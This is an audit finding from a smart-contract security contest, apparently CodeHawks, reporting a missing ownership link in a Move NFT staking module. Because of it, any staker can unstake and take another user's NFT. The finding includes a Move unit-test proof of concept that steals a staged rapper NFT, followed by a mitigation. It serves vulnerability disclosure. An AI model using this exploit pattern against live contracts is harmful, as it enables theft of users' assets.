One Shot: Reloaded
First Flight #47
Beginner FriendlyNFT
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

An attacker can steal other users NFTs

Author Revealed upon completion

Root + Impact

Description

When staking and unstaking, data is stored in the type StakeInfo, which contains the start_time_seconds for reward calculation, and owner to check that the NFT corresponds to the correct owner when unstaking.

However, this type's data is move_to the staker address. This means that staker's StakeInfo will always have owner == staker_addr. There is no link to the NFT being stored, so anyone could steal it once it's staked.

In unstake, the second assert will always be true.

// in streets::unstake
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
// @audit This will always be true, the data is not linked to the NFT
@> assert!(stake_info.owner == staker_addr, E_NOT_OWNER);

This means that a staker can steal any NFT present in the protocol. In the case where a defender is stolen (defenders are rappers entering the stage to battle), then it can't be send back to its owner after a battle ends.

Risk

Likelihood:

Easy to perform, but the attacker but exchange one of its NFT in the process.

Impact:

Stealing another user NFT. If the NFT is a defender, it can't be send back to its owner after a battle ends.

Proof of Concept

You will first need to add test_only functions in the code:

// In cred_token:
#[test_only]
public fun mint_cred(to: address,amount: u64) acquires CredCapabilities {
let caps = borrow_global<CredCapabilities>(@battle_addr);
let coins = coin::mint(amount, &caps.mint_cap);
coin::deposit(to, coins);
}
#[test_only]
public entry fun init(account: &signer) {
init_module(account);
}
​
// In one_shot:
#[test_only]
public fun get_mint_rapper_event_minter(event: &MintRapperEvent): address {
event.minter
}
#[test_only]
public fun get_mint_rapper_event_token_id(event: &MintRapperEvent): address {
event.token_id
}
​
// In rap_battle:
#[test_only]
public entry fun init(sender: &signer) {
init_module(sender);
}

Add this code in the test file:

#[test(
module_owner = @battle_addr, alice = @0x999, bob = @998, aptos_framework = @aptos_framework
)]
public fun test_steal_other_rapper(
module_owner: signer, alice: signer, bob: signer, aptos_framework: signer
) {
// Initialize the test framework
timestamp::set_time_has_started_for_testing(&aptos_framework);
aptos_coin::ensure_initialized_with_apt_fa_metadata_for_test();
​
let alice_address = signer::address_of(&alice);
let bob_address = signer::address_of(&bob);
​
// Initialize modules
cred_token::init(&module_owner);
rap_battle::init(&module_owner);
​
​
// Both users get one rapper
one_shot::mint_rapper(&module_owner, alice_address);
let events = event::emitted_events<one_shot::MintRapperEvent>();
let event = events.borrow(0);
let alice_rapper = one_shot::get_mint_rapper_event_token_id(event);
​
one_shot::mint_rapper(&module_owner, bob_address);
let events = event::emitted_events<one_shot::MintRapperEvent>();
let event = events.borrow(1);
let bob_rapper = one_shot::get_mint_rapper_event_token_id(event);
​
// Alice places her rapper on stage
rap_battle::go_on_stage_or_battle(&alice, object::address_to_object<token::Token>(alice_rapper), 0);
​
// Bob stakes his rapper and unstakes alice's
streets::stake(&bob, object::address_to_object<token::Token>(bob_rapper));
streets::unstake(&bob, &module_owner, object::address_to_object<token::Token>(alice_rapper));
}

Recommended Mitigation

Check the owner of the NFT is the caller. This can be performed by either adding an NFT id in the StakeInfo type, or by checking the already existing data in one_shot::StatsData.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.